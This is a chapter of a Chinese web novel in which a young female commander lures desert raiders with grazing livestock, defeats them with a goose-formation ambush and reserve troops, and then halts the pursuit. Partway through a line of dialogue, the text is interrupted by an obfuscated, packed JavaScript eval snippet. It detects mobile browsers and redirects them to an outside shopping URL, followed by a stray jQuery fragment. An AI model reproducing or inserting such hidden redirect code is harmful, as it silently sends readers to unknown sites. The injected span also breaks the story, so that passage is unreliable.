151. 放牧
作品:《重生之大兴女将》 西北的春天虽说比内地来的晚一些,但春风经过中北边境的肥沃土地时还是及时唤醒了沉睡在黄沙与积雪下的青青草色。
一株青草冒了尖,天地的广阔促使着它奋力扎根,坚定成长,如此渺小但磅礴的生命力吸引着无数草儿接二连三,争先恐后的向上生长,向外扩张,于是很快,嫩绿草芽连接成片,楚河汉界一般美丽夺目的绿丝带将枯黄的大漠与黑黄的农田分割成了两个世界。
齐乐县百姓所赠牛羊幼崽合计只有二十头,但经过驻地士兵们这段时间悉心喂养,这仅二十头小崽都生长的膘肥体壮,俨然一副成年牛羊的模样,因此他们带出来放牧的小家伙儿们数量虽然不多,可胜在有气势。
雷宁依初暒命,日渐将放牧队伍往被漠匪抢占的军田方向引。
头三日,风平浪静,大漠里平静地像是一潭死水。
第四日时,目之所及依旧没有人烟,耳边只有牛羊咀嚼嫩草的声音,有风拂过时,吹的人懒洋洋地,放牧的士兵们心生惰意,便都叼着狗尾草三三两两的仰躺在草地上晒太阳,雷宁纵身有维系放牧人畜安危之责,但苦于没有正经军职,实在使唤不动他这群全身早被油水过了一遍的同袍,便也只能让自己打起精神,小心谨慎的盯着这附近的风吹草动。
中北边境之外就是一望无际的荒漠,荒漠无垠却并非都是平缓坦途,因此地水分不足,土壤贫瘠生不出可固风沙的植被,故有狂风席卷时,荒漠表层黄沙会被风力搬运堆积形成大小高低不均的沙土坡。
沙土坡因风形成,是天然的掩体,它遮住了天日,也挡住了雷宁四下张望时小心谨慎的视线。
在土坡隐蔽阴影的掩护下,一双狼眼越过天日,掠过风沙锐利眈眈的盯着不远处那群悠闲自得的人畜,毫不掩饰眼中的贪婪与志在必得。
今日清晨,天朗气清,可临近晌午时却倏地起了大风,风卷动着天边残云,揽着大漠黄沙,无礼肆意地往人的眼睛和衣领里钻,雷宁心里咯噔一下连忙召唤所有人将牛羊群往军田里引,田亩土壤湿润且又生长着齐膝的杂草或许能稍微阻挡住黄沙袭扰。
然,他们驱赶着脚步慌乱的牛羊群还没走多远,身后便猛然传来一阵熟悉的喧哗,雷宁刚转过身,就听到跟在队伍最后的同袍大喝,“不好!必兰独那狗东西杀来了!”
雷宁眸光一沉,高声道,“披甲!”
他这一声过后,此地所有兵士便都立即就近从自己身边的羊腹下抽出战甲套上,原先还在悠闲放牧的兵士在顷刻间变成全副武装的战士,率众偷袭的必兰独用北漠语咒骂了一声,握紧了手中狼刀冲刺的脚步越发凶猛迅捷。
与此同时,跟着放牧队伍好几天的戴守炮一听见漠匪动静,就连忙从窝着的另一土坡中站起向初暒禀报道,“千总,来了!为首那人是拿可单鞑的爪牙必兰独,此人阴险狡诈,先前就是他带人夺走我们军田,我军曾在他手上吃了不少亏,没想到这厮竟真还敢对着我们的牛羊流口水!”
“胃口都是一点一点被撑大的,我还担心我们牛羊数量太少恐敌不屑呢。”
初暒起身观察着漠匪队伍,高声道,“所有战士以人字阵型分列快速潜进与雷宁等人汇合包抄!”
她一声令下,埋伏着的所有齐乐县驻军迅速调整队形向前冲刺,若是可居高临下,定能发现此阵型的基本形态为左右两翼呈梯形向前展开,排列之状,形似大雁迁徙时的“人”字,维持着这个阵型的兵士们前进速度极快,等必兰独手下发现这帮中北兵出现在自己身后时,他们整支队伍已然被夹在了敌人的两翼之间。
不等漠匪反应,初暒于中军大手一挥,旗兵奋力左右甩了两下军旗后,雁行阵中军兵士脚踏实地,坚守不动,两翼兵士则迅速向前冲刺,将人字阵型在瞬间变换成倒人字阵型,他们速度之快竟让方才还处于攻击方的必兰独在转瞬之间成为他们包围圈里的猎物。
必兰独此前确实听说西北驻齐乐县的军队里来了一位年轻人首领,似乎阿海合烈一部覆灭就出自那个年轻人的手笔,除了赤霄军那位慕姓将军,他本来还不信中北能出什么有才能的小将,却没想到今日遇上,这些不堪一击的齐乐县驻军竟真被调教的让人眼前一亮。
惊讶归惊讶,必兰独很快明白自己不该再对他们掉以轻心,他回过神来,在包围中仔细观察后知晓那个年轻人对他们使用的作战阵型是‘雁行阵’,这个阵型是依仗延展出来的侧翼实施快速包抄以便对敌形成交叉火力覆盖,威力十分强大,不过……
必兰独思及此处,西北驻军两翼弓箭手果然同时发起猛烈进攻,向他们进行了交叉击射的无情打击,漠匪无处可逃,只得在圆睁慌目的惊叫中被无数朝他们乱飞的利箭穿透身体倒地身亡。
战损霎那间达到了三分之一,必兰独眼底的□□被翕然激起,他从地上抄起一个狼兵尸首挡在额前在满天箭雨中用北漠语高喊,“趁他们更换箭矢的时机,向敌人中军冲击!”
北漠语难学难懂,戴守炮不知道那必兰独叽里咕噜的在说什么,只下意识觉得自己后颈一凉,不远处,利箭与狼刀碰撞擦出刺眼的火花,敌我双方杀声四起,血肉横飞,他觉得自己的耳朵和眼睛都被吵的心神不宁,可他看身旁的初暒立于中军注视着前方,神色自若,不动如山,竟忽然觉得自己也被她感染的平静下来,但他平静还不足半刻,就看到本该在包围圈中安然受死的必兰独居然举着一具尸首率兵杀到了他们眼前!
戴守炮:“不好!他看出‘雁行阵’两翼为主力,中军则势弱!”
北漠人平日饿了只吃肉渴了只喝奶,常年在及其恶劣下的天气与环境中逐水草而居,适者生存,能在这样的地方活下来,其身体素质强壮健硕的不像常人也是必然。
戴守炮在边境驻守多年,早十分清楚北漠人的可怕之处,却从未像今日这般看着这群不似常人,倒像一群发怒的‘野兽’一样的敌人心生恐惧。
“‘雁行阵’可在顷刻之间变守为攻,可若是想变攻为守其重组时间却足够我们投一回胎了。”敌人发红的双眼逐渐逼近,戴守炮的脸色也越加苍白,他抖着嗓子问初暒,“千总,我们此时该如何是好?”
初暒不语,只盯着那双似乎想要将自己吞进腹中的猩红双眼,再一挥手,旗手见状,又一次上下挥动着手中军旗,必兰独知道这挥动的旗帜是中北常用的指挥暗号却不知这代表着什么意思,他太阳穴跳动一霎后,从敌人中军两侧窜出的又一支队伍证实了他的猜想。
杀声引得戴守炮扭头去看,发现那原是伍千裘与范思率领的队伍,他砰砰不已的心脏由担忧恐惧猛地变得振奋!
初暒居然还在第二梯队设下了待命支援的预备队!
全军覆没这个词在戴守炮与必兰独脑海里一同出现,前者亢奋不已,可后者却心生退意,他已经告诉自己不能小瞧那位新来的少年,可那少年用她的手段告诉自己,敌人的高看与小瞧都并不要紧,她只要他死。
“撤退!撤退!”
又是几句叽里咕噜后,必兰独与之率领的狼军开始四散奔逃,伍千裘与范思相视一眼正欲全力追击,却没料到自己手下兵士忽然间也开始溃散,他们虽跟着初暒打过几场仗,但作战经验同老将比起来还是不足,面对这突如其来的变化一时不知该如何反应,只得尽力收拢队伍,保持冲锋阵型。
初暒在中军发现不对,立即挎了弓带领着几个骑兵疾驰过去,她离开后,戴守炮与初暒的默契尚未建立,不能接替她来指挥,于是中军也动摇了,戴守炮只能依经验稳住才在战中被必兰独的凶猛威吓险些呆滞的兵士们。
另一头,初暒率骑兵追击必兰独及其溃兵时发现敌人在潜伏的土坡后藏匿着一批战马,他们奋力逃窜有不少人已经跨上战马跑出很远了。
初暒暗骂一声狡诈,随即下令步骑兵均全力追击,她马背拉弓,瞄准前面跑的最快的必兰独后松指放箭,箭一经发出,敌人坠马落地的声音便紧接着响起,她不做他想,在急速奔驰的马背上用狙击战法,击射了很多人,只是他们追出一段距离后,步兵身影已经落在他们身后很远了,初暒略一思索,与众下令,“收兵!”
跟在他身后的伍千裘急道,“千总,敌军溃逃,我们为何不再全
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17175778|192103||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
力追击以致敌全军覆没?”
初暒:“上下不同欲,即使追上溃军,也难胜。”
伍千裘不解,但还是跟在初暒身后调转了马头往回跑。
回程中,骑兵小队众人忽然看到有一步兵举着战剑吭哧吭哧的朝他们跑来,初暒见着他立即夹紧马腹策驰到那小兵面前勒紧缰绳逼停他后,居高临下着促狭的瞧着那小兵问,“敌人已经溃逃不见踪影,你还追什么?”
小兵抬起自己沾满了血的脸,用还未散去杀意的眼睛直视着初暒,答,“以往有敌来袭将他们赶远一点就是,只因他们往后还是要来的实在犯不上拼命,可今日千总指挥,叫属下看到了敌人有来无回的指望,因而属下愿意为了这点儿指望,全力追击!”
他言语铿锵,初暒却微微眯眼向他施压,“雷宁是吧?你老实点,重新说。”
这一声逼问总算让雷宁的眼神清澈许多,不知什么记忆突然浮现在脑海,他望着初暒眼泪险些掉下来,再答,“那狗日的必兰独,见方才抢不着我们牛羊,竟与他那群狗崽趁乱活劈了我们六只羊!”
他气愤不已的举着两根手指头,叫喊道,“其中有两只还是属下亲自喂养的呢!”
如此英勇原是被气着了。
初暒挑了挑眉,险些失笑,她偏头看了伍千裘一眼后甩着缰绳先行一步,而伍千裘则心领神会的上前弯腰揪着雷宁的衣领将他提到自己身前,两人同乘一匹战马紧跟初暒往回赶。
策马临近驻地时,周遭安静地不像话,雷宁心里一咯噔生怕这是自己老窝被端的前兆,他瞥了一眼身后的伍千裘,见他面色如常,便略微松了口气。
一行人下马后跟着初暒走进营地,所有人都看到营地中的兵士无论身上有伤与否,皆不约而同地站起身来,向他们行注目礼,但是所有人也都发现,同袍们的视线汇集一处的位置正是他们的千总初暒所站着的地方。
今日一战,西北驻军虽有损失,可与那已经丢了命的必兰独比起来,怎么说都算一场小胜,众人在这场小胜中也总算明白过来,淮辛岩空降到齐乐县的这位千总不是沉不住气的小年轻,也不是毛都没长齐的小白脸,她有训兵的手段,也有诱敌的心机,要是他们也有未被‘化兽’敌人的恐怖吓住的胆量,或许能与初暒的‘雁行阵’互相配合以至大获全胜。
虽然不想承认,但众人心知肚明,今日是他们拖后腿了。
面对兵士们复杂的目光,初暒既没有呵斥也没有夸赞,她只视若罔闻的叫来戴守炮嘱咐了一些打扫战场相关事宜,令宋运与军医一起救治此战伤员,又命范思与伍千裘出营不知做什么去后,自己转身回了办公的军帐。
她不表态度,倒让所有兵士心里不是滋味,宋运看伤兵们都耷拉着脸,手上忙活时也不忘安慰他们,“我们第一回一起打仗,彼此都还没有默契,我信千总才能,也信我们本事,阿海合烈都不是我们对手,更何况已经‘断了一臂’的拿可单鞑,咱们往后一定也能将他们那一部剿灭了立大功的!”
他这话倒让伤兵们眼睛一亮,都争先恐后的问宋运,“小运气,我听说阿海合烈的脑袋是被咱们初千总一箭射中的,你一直跟着千总,这事到底是不是真的?”
“淮指挥使说千总骁勇善战,原先西北总驻地是不是真是因为千总立功,所有人才能都升一级啊?”
“还有你们在虔来山时,真是初千总收服四寨土匪成为虔来山一山之主吗……”
小运气自小就跟着伍千裘过脑袋别在裤腰带的日子,且从军后又被初暒胡说八道的本事熏陶过,早就是个小人精了,他哎呀一声,说,“那些传言哥哥们信了就是真的,不信便是假的,过去的都已经过去了,往后们只要咱们铁了心的追随千总,或许假的也能变成真的,到那时,说不准咱们也会成为旁人口中骁勇善战的将士呢……”
这小屁孩睁着眼睛与他们打太极,伤兵们正想忍痛教训宋运时,突然听得有人从帐外跑过,高声禀告道——
“千总!戴把总清扫战场归途中,遇上一伙劫匪,匪首狡猾,抢了我们一车战利后就不见踪影了!”

